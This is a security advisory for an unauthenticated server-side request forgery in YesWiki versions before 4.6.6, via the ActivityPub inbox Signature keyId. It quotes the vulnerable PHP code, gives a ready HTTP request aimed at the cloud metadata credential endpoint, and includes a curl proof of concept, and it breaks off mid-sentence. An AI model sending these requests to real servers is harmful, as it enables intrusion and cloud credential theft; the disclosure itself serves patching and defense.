GHSA-vw42-752g-5mrp YesWiki has Unauthenticated Server-Side Request Forgery via ActivityPub `Signature.keyId`

• Packagist yeswiki/yeswiki: >= 4.6.2, < 4.6.6 → fixed in 4.6.6

Summary The `POST /api/forms/{formId}/actor/inbox` route - exposed publicly with `acl:"public"` - accepts an HTTP `Signature` header whose `keyId` parameter is a URL. `HttpSignatureService::verifySignature()` parses the header and immediately makes a server-side HTTP GET to that URL, before any cryptographic verification or URL validation. An unauthenticated remote attacker can therefore make YesWiki issue arbitrary outbound HTTP requests to any host the server can reach - internal services, cloud-metadata endpoints (`169.254.169.254`), intranet-only admin panels, etc. - and read enough back via timing and error-message oracles to scan ports, enumerate services, and (on a real cloud instance) reach IAM metadata. The only deployment-side precondition is that ActivityPub be enabled on at least one Bazar form (`bn_activitypub_enable = '1'`). Details Affected component • File: `tools/bazar/services/HttpSignatureService.php` • Method: `HttpSignatureService::verifySignature(Request $request)` • Sink: line 96 • Route: `tools/bazar/controllers/ApiController.php` line 125 — `@Route("/api/forms/{formId}/actor/inbox", methods={"POST"}, options={"acl":{"public"}})` ```php // tools/bazar/services/HttpSignatureService.php (v4.6.5 = origin/doryphore-dev HEAD, // lines 83–100) public function verifySignature(Request $request) { if (!$request->headers->has('Signature')) { throw new Exception('No signature'); } $sigConf = parse_ini_string( strtr($request->headers->get('Signature'), ["," => "\n"]) // (a) attacker controls every field ); if (!isset($sigConf['keyId'],$sigConf['algorithm'],$sigConf['headers'],$sigConf['signature'])) { throw new Exception('Malformed signature'); } $response = $this->httpClient->request('GET', $sigConf['keyId'], [ // (b) SINK — no validation, 'headers' => [ 'Accept' => 'application/ld+json'] // no allowlist, no scheme ]); // pinning, no IP filtering ... } ``` The inbox controller calls `verifySignature()` before running any cryptography: ```php // tools/bazar/controllers/ApiController.php (lines 125–145) /** @Route("/api/forms/{formId}/actor/inbox", methods={"POST"}, options={"acl":{"public"}}) */ public function postFormActorInbox($formId, Request $request) { $activityPubService = $this->getService(ActivityPubService::class); $httpSignatureService = $this->getService(HttpSignatureService::class); $form = $this->getService(BazarListService::class)->getForms(['idtypeannonce' => $formId])[$formId]; if ($activityPubService->isEnabled($form)) { $activity = json_decode($request->getContent(), true); $httpSignatureService->verifySignature($request); // processActivity($activity, $form); return new ApiResponse(null, Response::HTTP_OK, …); } else { throw new NotFoundHttpException(); } } ``` The flow is public ACL → enabled-form gate → unconditional outbound HTTP. The attacker controls only the `keyId` value and never has to produce a valid signature, because the outbound fetch is the very first thing that touches the network. End-to-end attack chain A single HTTP request, no session, no CSRF token, no captcha: ```http POST /?api/forms/1/actor/inbox HTTP/1.1 Host: target.example Content-Type: application/activity+json Signature: keyId="http://169.254.169.254/latest/meta-data/iam/security-credentials/",algorithm="rsa-sha256",headers="x",signature="y" {} ``` • The Symfony controller matches the route on `formId=1`. • `ActivityPubService::isEnabled($form)` returns true (set when the operator turned the feature on). • `verifySignature()` parses the header into a key-value array, finds `keyId`, and calls `httpClient->request('GET', '')`. • YesWiki's server now reaches out to whatever URL the attacker provided. The response body is parsed as JSON; if it doesn't contain `publicKey.publicKeyPem` the controller returns an HTTP 500 whose JSON body leaks the full exception message and stack trace, including the URL. PoC Pre Reqs • Yeswiki v4.6.5 lab image (Setup via podman) • ActivityPub enabled on the target form For the rest of this document: ```bash BASE="http://localhost:8085" CTR="yeswiki-poc" ``` Before we start, make sure ActivityPub is enabled on the target form ```bash podman exec "$CTR" mysql -uroot yeswiki -e \ "SELECT bn_id_nature AS id, bn_label_nature AS form, bn_activitypub_enable AS ap FROM yeswiki_nature WHERE bn_id_nature = 1;" ``` Send the unauthenticated SSRF trigger: ```bash TARGET="http://127.0.0.1:9999/aws-metadata?from=ssrf" curl -s -X POST "${BASE}/?api/forms/1/actor/inbox" \ -H "Content-Type: application/activity+json" \ -H "Signature: keyId=\"${TARGET}\",algorithm=\"rsa-sha256\",headers=\"x\",signature=\"y\"" \ -d '{}' \ -w '\n HTTP %{http_code}, elapsed=%{time_total}s\n' ``` You will get an error in response like this: ```json {"exceptionMessage":"Exception: Missing public key in /var/www/html/tools/bazar/services/HttpSignatureService.php:103\nStack trace:…"} HTTP 500, elapsed=0.15s ``` The `500` and the `"Missing public key"` exception are the signal the outbound fetch went all the way to the JSON parse — the listener returned `{}`, which contained no `publicKey` field, so the handler bailed *after* talking to the listener. Tested with webhook: